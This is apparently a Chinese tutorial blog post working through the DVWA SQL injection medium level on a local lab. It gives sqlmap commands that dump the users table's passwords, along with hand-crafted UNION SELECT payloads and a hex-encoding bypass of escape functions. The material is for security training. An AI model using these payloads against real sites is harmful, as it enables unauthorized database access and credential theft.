提交用户名后URL并未产生参数的传输,结合页面源代码发现,该数据请求类型为POST请求。
判断漏洞类型
判断是否为数字型注入
使用hackbar进行POST:id=1 and 1=1 &submit=submit 回显如下:
再POST:id=1 and 1=2 &submit=submit 无任何回显
说明该漏洞类型为数字型注入漏洞
使用BurpSuite进行POST
先抓ID=1的数据包
在Repeater中修改ID参数为id=1 and 1=1 &Submit=Submit,回显如下:
再将ID参数修改为id=1 and 1=1 &Submit=Submit 无任何回显
说明该漏洞类型为数字型注入漏洞
判断注入点个数
提交参数id=1 and order by 4
说明注入点少于4个
不断尝试后得知注入点为2个
BurpSuite+sqlmap数字型注入
具体方式可参考:[网络安全]以留言板项目渗透实例带你入门sqlmap
将拦截包另存为1.txt,放在sqlmap目录下
注意:在sqlmap中不需要考虑注入点的个数
爆数据库名
输入python sqlmap.py -r 1.txt(文件名,下同) -p id(参数名,下同) --dbs
回显如下:
爆dvwa库的表名
输入python sqlmap.py -r 1.txt -p id -D dvwa(数据库名,下同) --tables
回显如下:
爆users表的列名
输入python sqlmap.py -r 1.txt -p id -D dvwa -T users(表名,下同) --columns
回显如下:
爆列中的字段
输入python sqlmap.py -r 1.txt -p id -D dvwa -T users -C user,password(列名) --dump
回显如下:
基于POST请求的sqlmap数字型注入
查看是否存在注入点
输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1"
回显如下:
故注入点存在
查询数据库名
输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" --dbs
回显如下:
查询dvwa库的表名
输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa --tables
回显如下:
查询users表的列名
输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users --columns
回显如下:
查询列中的字段
输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users -C user,password --dump
回显如下:
基于POST请求的BrupSuite数字型注入
注意:在使用BurpSuite进行sql注入时,需要考虑注入点个数
查询数据库名
输入1 union select database()#
回显如下:
可以看到 当sql语句中的注入点个数与判断出的注入点个数不相符时,攻击失败
输入1 union select 1,database()#
回显如下:
查询dvwa库的表名
输入1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#
回显如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘dvwa’#’ at line 1 您的SQL语法有错误;查看与MySQL服务器版本相对应的手册,了解在第1行“‘dvwa’#'附近使用的正确语法
查看源代码:
这行代码使用了PHP内置的 mysqli_real_escape_string() 函数对 $id 变量进行转义处理,以防止 SQL 注入攻击。
例如,如果 $id 变量包含如下字符串:
O'qiushuo
则调用 mysqli_real_escape_string() 函数时,将返回如下字符串:
O\'qiushuo
这样可以保证在 SQL 查询语句中使用 $id 变量时,不会因为包含特殊字符而出现 SQL 注入攻击等问题。
针对特殊字符转义的编码绕过
在 Web 应用程序中,当用户在浏览器中提交表单时,浏览器会对数据进行 URL 编码,然后再将编码后的数据发送到后端服务器上。
攻击者可利用编码方式将SQL 语句和特殊字符进行编码,以绕过应用程序中的安全检查和转义机制。常见的编码方式包括十六进制编码、Unicode 编码、URL 编码等。
十六进制编码
dvwa经十六进制编码后变为64767761
修改以上语句为1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#
注意:要在64767761加上0x声明它为十六进制
得到两个表名,guestbook和users
Unicode编码
dvwa的Unicode编码为\u0064\u0076\u0077\u0061
由于mysql_real_escape_string() 函数转义了 \ 所以Unicode编码绕过失效
URL编码
网址规定了常用的数字、字母可以直接使用,另外一批作为特殊用户字符也可以直接用(如/ : @ '等),剩下的其它所有字符必须通过%xx编码处理。
由于字符串’dvwa’中所有的字符均不需要编码,所以URL编码绕过失效。
查询users表的列名
users的十六进制为7573657273
输入id=1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#
回显如下:
查询列中的字段
输入id=1 union select user,password from users#
注意:由于注入点为两个,所以不能输入id=1 union select 1,user,password from users#,否则该语句认为注入点是三个。
回显如下:
回显技巧
注入成功后,可选择响应中的页面渲染功能,将回显注入后的页面,直观清晰。
3. group_concat函数
group_concat函数 是 MySQL 中的一个聚集函数,用于将指定列(或表达式)的值以逗号分隔的形式进行拼接。
举例如下:
输入id=1 union select 1,group_concat(user,password)from users#
回显:
该图比上图更为简洁明了
总结
以上为DVWA之SQL注入—medium level解题详析,结合三种注入姿势分享SQL攻击知识。
后续会分享DVWA之SQL注入—High level攻击姿势及解题详析。
我是秋说,我们下次见。